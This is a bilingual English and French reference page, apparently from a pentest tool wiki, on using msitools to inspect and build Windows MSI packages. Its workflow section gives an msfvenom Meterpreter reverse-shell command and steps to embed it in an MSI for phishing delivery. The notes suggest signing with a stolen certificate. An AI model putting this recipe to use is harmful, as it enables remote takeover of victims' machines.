msitools

Ensemble d'outils pour inspecter, construire et manipuler des paquets d'installation MSI Windows : utilisé pour fabriquer des payloads MSI malveillants à des fins de phishing/ingénierie sociale. Set of tools to inspect, build, and manipulate Windows MSI installer packages — used to craft malicious MSI payloads for phishing/social engineering.

↗ https://gitlab.gnome.org/GNOME/msitools

Overview

msitools is a Linux-native toolset (no Wine/Windows required) for working with Microsoft’s MSI installer package format — msiinfo for inspection, msibuild for constructing/modifying packages, and msidiff/msidump for analysis and comparison. On engagements it’s commonly used to build a malicious MSI installer (wrapping a payload with a custom action that runs on install) for phishing delivery, since MSI files often pass through mail filters more easily than raw executables and can be signed to look legitimate.

Common Usage

# Inspect an MSI's summary info and tables
msiinfo suminfo installer.msi
msiinfo tables installer.msi

Dump a specific table’s contents

msiinfo export installer.msi CustomAction

Extract embedded streams/binaries from an MSI

msiextract installer.msi -C ./extracted

Build/modify an MSI from a WiX-generated .idt/.wixobj set

msibuild output.msi -a CustomAction custom_action.idt

Typical Workflow (malicious MSI for phishing)

  1. Generate a payload (e.g. msfvenom) to embed
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=443 -f exe -o payload.exe
# 2. Use WiX (candle/light) to build the base MSI package structure,
#    referencing payload.exe as a binary and adding a CustomAction
#    to execute it during/after install
  1. Adjust/inspect tables with msitools to verify the CustomAction fires correctly and the package installs cleanly
msiinfo tables output.msi
# 4. Deliver output.msi via phishing — MSIs often bypass filters
#    that block .exe attachments outright

Notes

  • msiexec /quiet /i package.msi is how the target’s Windows host installs it silently if the phishing pretext gets a user to run it with elevated rights.
  • Signing the MSI with a purchased/stolen code-signing cert significantly increases believability — worth calling out in the report as a detection gap if AV trusted it based on signature alone.
  • Building the base package structure usually still goes through WiX toolset (candle/light); msitools is best used for inspection and targeted table edits.
Help / Man page
msiinfo <command> FILE.msi [options]
  suminfo       Show summary information stream
  tables        List all tables in the MSI
  export TABLE  Dump a specific table's rows
  streams       List embedded streams
  extract       Extract a specific stream

msibuild FILE.msi [options]
  -a TABLE FILE.idt    Add/replace rows in TABLE from an IDT file
  -d TABLE              Delete a table

msiextract FILE.msi [options]
  -C DIR                Extract installed files to DIR
  -l                      List files without extracting

Vue d’ensemble

msitools est une suite d’outils native Linux (pas besoin de Wine/Windows) pour travailler avec le format de paquet d’installation MSI de Microsoft : msiinfo pour l’inspection, msibuild pour construire/modifier des paquets, et msidiff/msidump pour l’analyse et la comparaison. En mission, il est couramment utilisé pour construire un installeur MSI malveillant (encapsulant un payload avec une custom action exécutée à l’installation) destiné au phishing, car les fichiers MSI passent souvent plus facilement les filtres de messagerie que des exécutables bruts et peuvent être signés pour paraître légitimes.

Utilisation courante

# Inspecter les infos de résumé et les tables d'un MSI
msiinfo suminfo installer.msi
msiinfo tables installer.msi

# Extraire le contenu d'une table spécifique
msiinfo export installer.msi CustomAction

# Extraire les flux/binaires embarqués d'un MSI
msiextract installer.msi -C ./extracted

# Construire/modifier un MSI depuis un jeu .idt/.wixobj généré par WiX
msibuild output.msi -a CustomAction custom_action.idt

Flux de travail typique (MSI malveillant pour phishing)

# 1. Générer un payload (ex. msfvenom) à embarquer
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=443 -f exe -o payload.exe

# 2. Utiliser WiX (candle/light) pour construire la structure de base du paquet MSI,
#    en référençant payload.exe comme binaire et en ajoutant une CustomAction
#    pour l'exécuter pendant/après l'installation

# 3. Ajuster/inspecter les tables avec msitools pour vérifier que la CustomAction
#    se déclenche correctement et que le paquet s'installe proprement
msiinfo tables output.msi

# 4. Livrer output.msi via phishing : les MSI contournent souvent les filtres
#    qui bloquent d'office les pièces jointes .exe

Remarques

  • msiexec /quiet /i package.msi est la commande par laquelle l’hôte Windows cible l’installe silencieusement si le prétexte de phishing amène un utilisateur à l’exécuter avec des droits élevés.
  • Signer le MSI avec un certificat de signature de code acheté/volé augmente significativement la crédibilité : à signaler dans le rapport comme une faille de détection si l’AV lui a fait confiance uniquement sur la base de la signature.
  • La construction de la structure de base du paquet passe généralement encore par le toolset WiX (candle/light) ; msitools est surtout utile pour l’inspection et les modifications ciblées de tables.
Aide / Page de manuel
msiinfo <command> FILE.msi [options]
  suminfo       Show summary information stream
  tables        List all tables in the MSI
  export TABLE  Dump a specific table's rows
  streams       List embedded streams
  extract       Extract a specific stream

msibuild FILE.msi [options]
  -a TABLE FILE.idt    Add/replace rows in TABLE from an IDT file
  -d TABLE              Delete a table

msiextract FILE.msi [options]
  -C DIR                Extract installed files to DIR
  -l                      List files without extracting